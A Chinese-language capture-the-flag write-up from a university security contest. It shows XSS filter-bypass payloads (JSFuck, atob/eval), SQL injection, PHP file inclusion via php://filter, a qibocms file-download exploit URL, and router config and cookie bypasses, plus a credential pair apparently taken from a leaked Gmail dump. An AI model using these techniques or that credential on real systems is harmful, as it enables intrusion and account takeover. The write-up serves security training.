0×00 前言
西南石油大学第五届信息安全技术大赛 挑了一些自己感兴趣的题目做 xss 还有 crack
比赛官网
题目打包下载

0×01 Base
Base1

提示说了挂马 有一种不可见的 iframe 非常常见 查看一下源码 果然找到了 iframe 标签

iframe

```
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(c/a))+Strin
g.fromCharCode(c%a+161)};while(c--)if(k[c])p=p.replace(new
RegExp(e(c),'g'),k[c]);return
p}('Ä(¢(p,a,c,k,e,d){e=¢(c){¦(c<a?\'\':e(c/a))+Ã.Â(c%a+Á)};À(c--)¿(k
[c])p=p.¾(½ ¼(e(c),\'g\'),k[c]);¦ p}(\'<\\¤>\\» \\º(){\\¥ \\¹=″\\¡同
学是个活泼开朗的孩子，在西南石油大学各个学院都结交了很多朋友。同时\\¡
同学也是一个热心肠，朋友遇到任何困难他都会奋不顾身去鼎 力相助。包括追
女朋友、抓\\,、写情书、搓背、捡肥皂、帮妹子找回\\·、\\¶帮队友送人头……
最近正逢“西南石油大学安全月”，\\¡更是忙的不可 开交……其实\\¡也是个
粗中带细的好学生，其实他一直默默的暗恋着艺术院的一个妹子……″;\\¥
\\µ=″\\′:\\³″}</\\¤>\',£,£,\'²|±|° |¯|®||¬|«|ª|©| ¨|¢\'.§(\'|\'))
)',36,36,'xa1|function|12|xa2|xa3|return|split|passkey|runstr|hack|Q
Q|LOL|key|6f7bf47d9fdf677af6ec611d172fe5a5|da521d85afefa53bc86b41d73
c75d081|var|script|running|xa4|xa5|xa6|xa7|xa8|xa9|xaa|xab|xac|RegEx
p|new|replace|if|while|161|fromCharCode|String|eval'.split('|')))
```

packed 加解密

JavaScript Eval Encode/Decode
这里有两个工具 可以用来帮助做 packed 的题目
js 格式化工具
packed 加解密工具

格式化之后

```
1 <script>
2         function passkey() {
3                 var runstr = "running 同学是个活泼开朗的孩子，在西南
```

石油大学各个学院都结交了很多朋友。同时 running 同学也是一个热心肠，朋友遇到任何困难他都会奋不顾身去鼎力相助。 包括追女朋友、抓 hack、写情书、搓背、捡肥皂、帮妹子找回 QQ、LOL 帮队友送人头……最近正逢“西南石油大学安全月”，running 更是忙的不可 开交……其实 running 也是个粗中带细的好学生，其实他一直默默的暗恋着艺术院的一个妹子……";

```
4                 var key =
"6f7bf47d9fdf677af6ec611d172fe5a5:da521d85afefa53bc86b41d73c75d081"
5         }
6 </script>
```

6f7bf47d9fdf677af6ec611d172fe5a5:da521d85afefa53bc86b41d73c75d081 得到了这个 32byte:32byte 的一个字符串
破解一下 hash 类型是 windows hash sam 的那个
windows hash 破解

```
1 Hash:          6f7bf47d9fdf677af6ec611d172fe5a5:da521d85afefa53bc86b
41d73c75d081
2 Password: Wel2014swpu
```

Base2
referer 的题目
使用 burp 修改一下啊 Referer:www.google.com

得到了 954a4995de68029c936a5b9eb6a646f50f838b4f8fc851f549fee82add419942
然后得出是一个 64 字节的字符串 一开始没提示做不出来

后来抓包得到了一个密钥之类的东西

Swp201u4
des 加解密工具
在这里解 des

key{It#ReferFrom2014A3$}

Base3
一张郭美美的 jpg

在 jpg 图片的末尾找到了 png 图片 可以利用 jpg 的结尾符 0XFFD9 来确定

winhex 抠出来

二维码解密
出来一个 qq 空间
http://user.qzone.qq.com/2243181272

3141caac940108e6f0c8e0ad8a840f87
google 搜一下

发现了 somd5 上面有解
ITpicT2048re@GMM

Base4
xss1

<input name=”data” value=”a” id=”text”>
输出是在这里 value=”a”
做一下简单的 fuzz
过滤了 script

“变成了\” 可以从第一个出来

利用一个小技巧
那些年我们一起学 XSS – 1. 什么都没过滤的入门情况

先闭合前面的 input 标签

```
1〈img src=1 onerror=alert(1);〉
```

这里这个 没有”

Why are you so diao !!so key=Gre34y_6r3p

Base5

看输出 这次是在 script 里

1 ″){}alert(″1

闭合 if 语句先 然后插入一个 alert 因为最后会补全”) 所以我们构造 alert(“1

Base6
xss3
3 和 2 差不多

也是输出在 script 里的
但是这次过滤的东西比较多
他过滤了 alert
尝试一下 10 进制的编码 String.fromCharCode
尝试一下绕过

1){}String.fromCharCode(97, 108, 101, 114, 116)(

吃大力 没弹框框

1){}eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)

过滤了 from Code

尝试一下 jsfuck

```
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!
+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!
[]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])
[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(
!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([
![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[
])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+
[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]
+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+
!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]
+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]
```

```
+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]
+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!
+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!
[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+
[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!
+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+
[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]
]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!!
[]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[
])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+
[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]
+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]
+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[
])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[
]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(
!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![
]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[
+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+
!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![
]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[
+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!
+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+
[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]
+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![
]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])
[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[
])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+
[]+!+[]+!+[]]])()
```

发现!被过滤了 简直蛋疼

换别的编码来尝试一下
用 atob base64 编码

```
1 ){}eval(atob(″YWxlcnQoMSk7″)
```

过滤了”
用’代替

```
1){}eval(atob('YWxlcnQoMSk7')
```

发现了语法错误 要闭合前面的 if(shit==
最后的 payload 是这样子构造的

```
1'')){}eval(atob('YWxlcnQoMSk7'))
```

这个题没有直接给 flag 的 要发邮件给网管大叔
xss_3
16otkN03_4$$ly

Base7
这个题比较蛋疼
回显是在 script 脚本里的注释中 没法轻易绕过

第一个想到的就到用换行符来绕过
[那些年我们一起学 XSS – 6. 换行符复仇记]()
burp 下 尝试%0aaa

发现做了替换了 把%0a 替换为—-
然后就想用别的可以替换换行符的字符来尝试

尝试用宽字节来过
data=%c0%22111

\x0a
\被过滤
[XSS 和字符集的那些事儿]() 参考了一下 mramydnei 老师的这个文章

alert 被过滤了
后来和 Dr0pLe7 神聊天 他说有两种方法可以绕过 一种是利用了 unicode 的编码生成换行符来绕过 还有一种是通过 ie 的条件编译来绕过注释 最后没时间也没尝试了

Base8
xss5
这个题目比较简单
尝试 fuzz 一下 发现过滤了 a-zA-Z0-9 等等 所以尝试用 jsfuck 来绕过

发现比 xss3 还简单一些 xss3 还过滤了!没法绕过

```
'')){}[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![
]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])
[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
```

```
]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!
+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+
[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]
+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+
!+[]]+(!![]+[])[+!+[]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+
[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(
!![]+[])[+!+[]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([!
[]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[]
)[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!!
[]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]])(
```

xss_5
l2stIs10oO@

0×02 Web
Web1
注入
注入点

mysql 的注入
http://web.swpuwllm.com:2222/teachers.php?dyid=1 and (select count(*) from information_schema.COLUMNS)<>0

尝试了一下手工 没搞出来 盲注 手工太蛋疼
用 sqlmap 跑 网站感觉有点怪异 跑不动 或许是我姿势不对
用 havij 就可以 很奇怪 难道是题目改过
SqL1IsSo1aSy@G00d

Web2

http://web.swpuwllm.com:5555/login.php

尝试了一下 127.0.0.1 发现不行
Ping 一下 获取 ip

添加一个 http 头
X-Forwarded-For: 199.101.117.188

弱口令试试看
再试试看注入
admin' or 1=1#
注入一下

key:{RunNgIs0g@0dK1d}

Web3

http://web.swpuwllm.com:3333/urp/score.php?file=cj.php
http://web.swpuwllm.com:3333/urp/score.php?file=mm.php

查看了一下源码 发现了提示 key.php
http://web.swpuwllm.com:3333/urp/score.php?file=key.php
php LFI 读 php 文件源码以及直接 post webshell 参考 ck 学长的一个姿势
http://web.swpuwllm.com:3333/urp/score.php?file=php://filter/read=convert.base64-encode/resource=key.php

发现读不到东西
后来看清楚才发现
http://web.swpuwllm.com:3333/key.php

发现了提示说的根目录 我们包含错了 再尝试跨一层目录
http://web.swpuwllm.com:3333/urp/score.php?file=../key.php

尝试读一下源码
http://web.swpuwllm.com:3333/urp/score.php?file=php://filter/read=convert.base64-encode/resource=../key.php

```
1 77u/PD9waHANCiAgLy9rZXk9NOIxbkNMdWQzQGZpTGVzJjANCj8+DQo8ISOtIGtleeW
  wseWcqOi/memHjOWTny0tPg==
```

base64 解一下 utf-8 编码的

key=7B1nCLud3@fiLes&0

Web4
网站是齐博 v7 的网站
qibocmsV7 整站系统任意文件下载导致无限制注入多处(可提升自己为管理_Demo 演示)雨牛提交的一个漏洞
http://swpuwllm.com:3389/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8

还因为那个 encode 的 url 编码问题 %3c 的影响浪费了一些时间 推荐用 hackbar 自带的 base64 编码方法

base64 编码
data/config.ph<
ZGF0YS9jb25maWcucGg8

而非 data/config.ph%3C
ZGF0YS9jb25maWcucGglM0M=

http://swpuwllm.com:3389/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8
访问一下

$webdb['mymd5']='43745275'; //this key for web4:G0O4_GNu_ph9
还要去下载 function.inc.ph%lt;

$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定

然后在去用注入拿后台管理员的权限

齐博 CMS 后台拿 shell

这个是拿 shell 的方法

再后面的也没做了 后来发现 之前拿到的 web4 的 key 都没提交 太尴尬了

0×03 Crack
Crack1
是个 apk 的逆向 并没有太难

用 7z 之类的解压获取 classes.dex 文件
Dex2jar
获取 jar 文件 然后用 jdgui 打开

看到了是一个登陆的过程 key is your input
NetW0rk318w11m

Crack2

file 看一下 自己做逆向还是比较爽的 能涨姿势

ida 里看看 看到有 key 相关的

F5 一下

```
01 int __cdecl main()
02 {
03     int v1; // [sp+11h] [bp-2Fh]@1
04     char v2; // [sp+15h] [bp-2Bh]@1
05     __int16 v3; // [sp+16h] [bp-2Ah]@1
06     char v4; // [sp+18h] [bp-28h]@1
07     int v5; // [sp+19h] [bp-27h]@1
08     int v6; // [sp+1Dh] [bp-23h]@1
09     int v7; // [sp+21h] [bp-1Fh]@1
10     int v8; // [sp+25h] [bp-1Bh]@1
11     __int16 v9; // [sp+29h] [bp-17h]@1
12     char v10; // [sp+2Bh] [bp-15h]@1
13     int v11; // [sp+2Ch] [bp-14h]@37
14     int v12; // [sp+30h] [bp-10h]@37
15     int v13; // [sp+34h] [bp-Ch]@37
16     int j; // [sp+38h] [bp-8h]@20
17     signed int i; // [sp+3Ch] [bp-4h]@4
18
19     v6 = 0;
20     v7 = 0;
21     v8 = 0;
22     v9 = 0;
23     v10 = 0;
24     v5 = 0;
25     v3 = 0;
26     v4 = 0;
```

```
27    v1 = 0;
28    v2 = 0;
29    puts("Please input KEY:");
30    __isoc99_scanf("%s", &v6);//v6 is key
31    if ( strlen((const char *)&v6) != 11 )// strlen(v6) == 11 长度
      11
32    {
33        puts("You input Key is wrong !");
34        exit(0);
35    }
36    for ( i = 0; i <= 10; ++i )
37    {
38        if ( (*((_BYTE *)&v6 + i) > 57 || *((_BYTE *)&v6 + i) <= 48)
      && *((_BYTE *)&v6 + i) != 45 )// v6 使用的字符    1 到 9 还有- 一共 10
      个字符
39        {
40            puts("You input Key is error !");
41            exit(0);
42        }
43    }
      if ( BYTE3(v6) != 45 || BYTE2(v7) != 45 || BYTE2(v6) != 51 ||
      BYTE1(v7) != 50 )//45:- 45:- 51:3 50:2   #define BYTE1(x)
44    (((_BYTE*)&x)[1])       通过看偏移可以看到这里的 v7 是在 v6 后的 4 个
      字符 key：xx3- x2-xxxx     BYTE0 BYTE1 BYTE2 BYTE3 是这样子的 从 0
      开始
45    {
46        puts("You input Key is error !");
47        exit(0);
48    }
49    for ( i = 0; i <= 10; ++i )
50    {
51        if ( i != 3 )// 983-72-6541 检查 一个字符与之后的所有字符都
      不一样 除了 i=3 的时候 也就是 - 和后面的-是一样的 不检查
      //xx3-x2-xxxx 就是用了 1-9 的字符 不重复的使用
52        {
53            for ( j = i + 1; j <= 10; ++j )
```

```
54              {
55                  if ( *((_BYTE *)&v6 + i) == *((_BYTE *)&v6 + j) )
56                  {
57                      puts("You input key is error2!");
58                      exit(0);
59                  }
60              }
61          }
62      }
63      for ( i = 0; i <= 2; ++i )
64          *((_BYTE *)&v5 + i) = *((_BYTE *)&v6 + i);
65      i = 0;
66      for ( j = 4; j <= 5; ++j )
67          *((_BYTE *)&v3 + i++) = *((_BYTE *)&v6 + j);
68      i = 0;
69      for ( j = 7; j <= 10; ++j )
70          *((_BYTE *)&v1 + i++) = *((_BYTE *)&v6 + j);
71      v13 = atoi((const char *)&v5);
72      v12 = atoi((const char *)&v3);
73      v11 = atoi((const char *)&v1);
74      if ( v12 * v13 == v11 )
75          puts("Key is your input!");//格式:xx3-x2-xxxx       规
律:xx3*x2 == xxxx     要求使用其他的数字 1-9 不重复
76      else
77          puts("SaoNian ,please try again ....");
78      return 0;
79  }
```

题目还比较善良 可以通过不同的回显 来发现自己进入到了哪一步了 不然就要用 gdb 来调试看结果了
key 长度 11 位

xx3-x2-xxxx 格式是这个

xx3*x2 == xxxx 要求使用其他的数字 1-9 不重复

key 是 xx3-x2-xxxx
问了一下算法牛 可以用手算的方法算出来 编程来爆破也很简单
有一位是直接就可以确定的 最后一位是 6 = 2*3
算法牛 coco67 的 python

```
01 #!/usr/bin/python
02
03 inuse = [0]*11
04 inuse[6]=1
05 inuse[0]=1
06 inuse[2]=1
07 inuse[3]=1
08 for a in range(1,10):
09     if inuse[a]==0:
10         inuse[a] = 1
11         for b in range(1,10):
12             if inuse[b]==0:
13                 inuse[b] = 1
14                 for c in range(1,10):
15                     if inuse[c]==0:
16                         inuse[c] = 1
17                         n1 = int(str(a)+str(b)+str(3))
18                         n2 = int(str(c)+str(2))
19                         n = n1*n2 // 10
20                         ans = True
21                         while n>0:
22                             if inuse[n % 10] == 1:
23                                 ans = False
24                                 break
25                             n = n //10
26                         if ans:
27                             print "%d%d3-%d2-%d" %(a,b,c,n1*n2)
28                         inuse[c] = 0
29                 inuse[b] = 0
```

```
30          inuse[a] = 0
```

得出了两个结果 尝试一下 得到 key
483*12=5796
483-12-5796

Crack3
这次是 exe 的文件的逆向

ida f5
sub_401020 里找到了 key 相关的

```
01 int __cdecl main(int argc, const char **argv, const char **envp)
02 {
03     int v3; // eax@1
04     char *v4; // eax@1
05     char v5; // cl@2
06     int v6; // eax@7
07     int *v7; // eax@7
08     char v8; // cl@8
09     int v9; // ecx@9
10     int i; // eax@10
11     char v11; // dl@11
12     const char *v13; // [sp-4h] [bp-54h]@13
13     int v14; // [sp+4h] [bp-4Ch]@1
14     int v15; // [sp+8h] [bp-48h]@1
15     int v16; // [sp+Ch] [bp-44h]@1
16     int v17; // [sp+10h] [bp-40h]@1
17     int v18; // [sp+14h] [bp-3Ch]@1
18     __int16 v19; // [sp+18h] [bp-38h]@1
19     char v20; // [sp+1Ah] [bp-36h]@1
20     int v21; // [sp+1Ch] [bp-34h]@1
21     int v22; // [sp+20h] [bp-30h]@1
22     __int16 v23; // [sp+24h] [bp-2Ch]@1
23     char v24; // [sp+2Bh] [bp-25h]@11
```

```
24    char v25; // [sp+2Ch] [bp-24h]@1
25    int v26; // [sp+2Dh] [bp-23h]@1
26    int v27; // [sp+31h] [bp-1Fh]@1
27    __int16 v28; // [sp+35h] [bp-1Bh]@1
28    char v29; // [sp+37h] [bp-19h]@1
29    char v30; // [sp+38h] [bp-18h]@1
30    _BYTE v31[3]; // [sp+39h] [bp-17h]@3
31
32    v26 = 0;
33    v27 = 0;
34    v28 = 0;
35    v29 = 0;
36    v25 = 0;
37    v21 = 1852732754;
38    v22 = 1734831721;
39    v23 = 111;
40    v14 = 2004053569;
41    v15 = 1111781989;
42    v16 = 6778473;
43    v17 = 87231350;
44    v18 = 40977232;
45    v19 = 3920;
46    v20 = 30;
47    v3 = sub_4013C0(std::cout, "Please input name:");
48    std::basic_ostream<char_std::char_traits<char>>::operator<<(v3
, std::endl);
49    sub_401610(std::cin, &v30); //v30 name 保存在这里
50    v4 = &v30;
51    do
52        v5 = *v4++; //*v4++ 指针后移
53    while ( v5 );
54    if ( v4 - v31 - 5 > 5 || strcmp(&v30, (const char *)&v21) ) // 两
个条件都要为假 >10 所以长度要<=10        第二个条件 v21 = Runninggo
55    {
56        printf("You input name is wrong !\n");
```

```
57          exit(0);
58      }
59      v6 = sub_4013C0(std::cout, "Please input password:");
60      std::basic_ostream<char_std::char_traits<char>>::operator<<(v6, std::endl);
61      sub_401610(std::cin, &v21);//v21 是 password
62      v7 = &v21;   //v7 = password 指针
63      do
64      {
65          v8 = *(_BYTE *)v7; //v8 为字符的内容
66          v7 = (int *)((char *)v7 + 1); //i++ 指针后移
67      }
68      while ( v8 );
69      v9 = (char *)v7 - ((char *)&v21 + 1);// v9 = v7(password 结尾指针) - (v21(password 首地址)+1)      v9 为字符长度
70      if ( (char *)v7 - ((char *)&v21 + 1) - 5 > 6 )//这里有个长度判断 >11 是 wrong   所以要 length<=11
71      {
72          printf("You input password is wrong !\n");
73          exit(0);
74      }
75      for ( i = 0; i < v9; *(&v24 + i) = v11 )
76      {
77          v11 = *((_BYTE *)&v17 + i) ^ *((_BYTE *)&v21 + i);
78          ++i;
79      }
80      if ( strcmp((const char *)&v14, &v25) ) //25=24+1byte
81          v13 = "You input password is wrong !\n";
82      else
83          v13 = "The key is your input password !\n";
84      printf(v13);
85      system("pause");
86      return 0;
87  }
```

长度判断

od 跟一下 Runninggo

ida 也是可以撸的

一开始姿势错了 nnuR 一开始只用这个去尝试 其实是长度还没有完 而且还有大小端的问题
Runninggo 就是我们要输入的 username 了

AnswerDBing 这里做了异或

另一个异或的元素 vv\350x\PCq 这里这个元素直接用查看 char 型的话 有的会不可见字符
这个时候转战 od 用 od 来撸 根据之前得到到 name 跟进去 输入一个长度不超过 11 的密码 例如

AnswerDBing
12345678901

这个异或循环

计算 esp+eax+0x1C 和 esp+eax+0×10 的异或 计算偏移 查看一下堆栈情况
观察数据 异或的数据

012345678901
0-9 的字符的 hex 是 31 32…39 这里是下面的数据 可以看看对比一下
下面的就是我们测试的 012345678901 这些数据 上面的是 v17 到 v19 这乱码的部分

在 ida 下可以用 hex 比较清晰 一开始用 char 型的 因为有不可见的字符在所以导致异或出现了问题

比较清晰

```
1            76 0B 33 05 50 43 71 02 50 0F 1E
2 xor    41 6E 73 77 65 72 44 42 69 6E 67(AnswerDBing)
  ------------------------------------------------------------------
3 ---
4            37 65 40 72 35 31 35 40 39 61 79(7e@r515@9ay)
```

7e@r515@9ay

0x04Route
Route1
Zynos

百度一下 ZyNOS
百度一下 发现
ZyNOS 路由加密配置文件未授权下载可解密获取登录密码
http://basic.swpuwllm.com/router1_os/login/rom-0
Key=Router_Is_Dangerous

Route2
给了一个 pcapng
wireshark 打开之后
过滤一下 http
发现了是一个数据包里有一个 rar 压缩文件
右键 follow tcp stream

row 保存成 rar 格式

要注意 row 和 ascii 的不同 这里坑了比较久 有换行符的差别会影响到文件内容
把他解压

文件最后给了密码 letmein

H@vEFun

Route3
这个题和 route1 差不多 也能在 wooyun 里找到

http://basic.swpuwllm.com/router3_tenda/

Tenda 腾达某无线路由登陆密码绕过

带上 cookie 访问就可以了

KEY=Tenda_Router

0×05 Soc
Soc1
社工题 1

good_luck.pcapng: pcap-ng capture file – version 1.0
用 wireshark 打开就可以了
看看是上网时候抓的包 先看看 http 的 post 的包
http.request.method==POST
看看 post 类型的数据
发现第一个有一个 doc 文档 %E7%AE%80%E5%8E%86.doc 也就是 简历.doc
发现第二个有一个 special.zip
转换成文件出来 http 实体
发现了这个 doc 文档有些个人的资料

这里给了个 gmail 的邮箱 之前爆了一个 gmail 的裤子 快去查一查

syafiqbasri@gmail.com:motianlun

发现了一个 rar 文件

可是有密码
然后用 motianlun 去解压 rar 文件

文件最下面
so,there is a key
key_1{S02I4L_7!_!na1}

soc2
腾讯的微云 这里有 qq 的 cookie

qq:2114514891

看到经常上网的地方 有个 qq 的 cookie skey 什么的 尝试加一下好友 发现其实是题目相关的客服的 qq

omymeizi@163.com 这个邮箱没发现什么

然后还 看到了他的 qq 签名

然后就去找到了一个他常用的网站油吧

猜测就要尝试能 xss 之后 发链接给他 可能是这样子 需要登陆他的油吧 获取里面的信息吧
phpwind 最新版反射型 xss 漏洞一枚
flash xss

最后好心的客服大叔给了我 tips 是在空间 利用了在邮吧获取的信息 得到了 key 可惜最后没在 也没提交 key 感觉有点浪费

空间密码 0510

key_2{wAt3&>8eN_Ck}

0×06 后记
自己时间不是太多 只挑了一些自己感兴趣的题 没有全部做完 不过还有很有收获的 自己撸了逆向 有 wuyan 大神带我学 涨姿势了 xss 也是有点入门的感觉了